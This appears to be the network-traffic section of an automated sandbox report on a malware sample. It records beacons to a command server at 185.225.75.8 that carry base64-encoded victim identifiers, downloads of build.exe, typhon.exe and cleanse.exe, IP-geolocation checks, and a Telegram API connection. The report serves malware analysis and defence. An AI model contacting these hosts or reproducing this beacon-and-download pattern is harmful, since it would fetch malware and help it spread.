Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| ipapi.co | 104.26.9.44 | |
| api.telegram.org | 149.154.167.220 | |
| ip-api.com | 208.95.112.1 | |
| api.ipify.org |
CNAME
api4.ipify.org
|
104.237.62.212 |
- TCP Requests
-
-
192.168.56.103:49170 104.26.9.44:443ipapi.co
-
192.168.56.103:49171 149.154.167.220:443api.telegram.org
-
192.168.56.103:49164 185.225.75.8:80
-
192.168.56.103:49166 185.225.75.8:3333
-
192.168.56.103:49260 185.225.75.8:80
-
192.168.56.103:49161 208.95.112.1:80ip-api.com
-
192.168.56.103:49169 64.185.227.156:80api.ipify.org
-
- UDP Requests
-
-
192.168.56.103:50800 164.124.101.2:53
-
192.168.56.103:52760 164.124.101.2:53
-
192.168.56.103:137 192.168.56.101:137
-
192.168.56.103:137 192.168.56.255:137
-
192.168.56.103:138 192.168.56.255:138
-
192.168.56.103:52763 239.255.255.250:1900
-
8.8.8.8:53 192.168.56.103:50800
-
8.8.8.8:53 192.168.56.103:53673
-
8.8.8.8:53 192.168.56.103:64894
-
GET
429
https://ipapi.co/175.208.134.152/json
REQUEST
RESPONSE
BODY
GET /175.208.134.152/json HTTP/1.1
User-Agent: ipapi.co/#c-sharp-v1.03
Host: ipapi.co
Connection: Keep-Alive
HTTP/1.1 429 Too Many Requests
Date: Wed, 11 Oct 2023 09:04:36 GMT
Content-Type: application/json
Content-Length: 116
Connection: keep-alive
Allow: POST, HEAD, GET, OPTIONS, OPTIONS
X-Frame-Options: DENY
Vary: Host, origin
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LaeFLi4tKjP3oxvOP%2BgHWphwBMSPm0J3fI8l4Ft43NiOG7j6kmlPec1Y3TDtcepJNwhe5cWqZQk3nk21J0lDfqPMYF%2B6YkvroUI9lIaTtyw%2B1YdGHGCapIGW"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8145efc37a8a8340-KIX
GET
200
http://ip-api.com/line/?fields=hosting
REQUEST
RESPONSE
BODY
GET /line/?fields=hosting HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: ip-api.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 11 Oct 2023 09:03:47 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 6
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
GET
200
http://185.225.75.8/stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO
REQUEST
RESPONSE
BODY
GET /stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 11 Oct 2023 09:04:23 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 159
Content-Type: text/html; charset=UTF-8
GET
200
http://185.225.75.8/stryzon/build.exe
REQUEST
RESPONSE
BODY
GET /stryzon/build.exe HTTP/1.1
User-Agent: curl/1.0
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 11 Oct 2023 09:04:23 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
Last-Modified: Sun, 08 Oct 2023 21:23:06 GMT
ETag: "182600-6073b145f6327"
Accept-Ranges: bytes
Content-Length: 1582592
Content-Type: application/octet-stream
GET
404
http://185.225.75.8/stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO&url=aHR0cDovLzE4NS4yMjUuNzUuOC9zdHJ5em9uL2J1aWxkLmV4ZQ==
REQUEST
RESPONSE
BODY
GET /stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO&url=aHR0cDovLzE4NS4yMjUuNzUuOC9zdHJ5em9uL2J1aWxkLmV4ZQ== HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Date: Wed, 11 Oct 2023 09:04:27 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 407
Content-Type: text/html; charset=UTF-8
GET
200
http://185.225.75.8/stryzon/typhon.exe
REQUEST
RESPONSE
BODY
GET /stryzon/typhon.exe HTTP/1.1
User-Agent: curl/1.0
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 11 Oct 2023 09:04:27 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
Last-Modified: Mon, 09 Oct 2023 17:16:11 GMT
ETag: "335000-6074bbf2c319e"
Accept-Ranges: bytes
Content-Length: 3362816
Content-Type: application/octet-stream
GET
404
http://185.225.75.8/stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO&url=aHR0cDovLzE4NS4yMjUuNzUuOC9zdHJ5em9uL3R5cGhvbi5leGU=
REQUEST
RESPONSE
BODY
GET /stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO&url=aHR0cDovLzE4NS4yMjUuNzUuOC9zdHJ5em9uL3R5cGhvbi5leGU= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Date: Wed, 11 Oct 2023 09:04:31 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 407
Content-Type: text/html; charset=UTF-8
GET
200
http://185.225.75.8/stryzon/cleanse.exe
REQUEST
RESPONSE
BODY
GET /stryzon/cleanse.exe HTTP/1.1
User-Agent: curl/1.0
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 11 Oct 2023 09:04:32 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
Last-Modified: Tue, 10 Oct 2023 18:28:38 GMT
ETag: "2800-60760e0243207"
Accept-Ranges: bytes
Content-Length: 10240
Content-Type: application/octet-stream
GET
404
http://185.225.75.8/stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO&url=aHR0cDovLzE4NS4yMjUuNzUuOC9zdHJ5em9uL2NsZWFuc2UuZXhl
REQUEST
RESPONSE
BODY
GET /stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO&url=aHR0cDovLzE4NS4yMjUuNzUuOC9zdHJ5em9uL2NsZWFuc2UuZXhl HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Date: Wed, 11 Oct 2023 09:04:32 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 407
Content-Type: text/html; charset=UTF-8
GET
200
http://api.ipify.org/
REQUEST
RESPONSE
BODY
GET / HTTP/1.1
Host: api.ipify.org
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.25.1
Date: Wed, 11 Oct 2023 09:04:35 GMT
Content-Type: text/plain
Content-Length: 15
Connection: keep-alive
Vary: Origin
GET
200
http://185.225.75.8/stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO
REQUEST
RESPONSE
BODY
GET /stryzon/fire.php?id=Yjk4MzExNTAwY2U2MTAwZmIwMWNkMWJlN2FkNGI3ZGI=&us=dGVzdDIy&cn=VEVTVDIyLVBDIDogV2luZG93cyA3IFByb2Zlc3Npb25hbCBO HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 185.225.75.8
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 11 Oct 2023 09:05:33 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 0
Content-Type: text/html; charset=UTF-8
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.103:49170 104.26.9.44:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 | C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com | d9:cd:a6:ef:44:c8:7f:47:5e:47:97:00:58:f2:99:5e:14:e6:1c:cf |
Snort Alerts
No Snort Alerts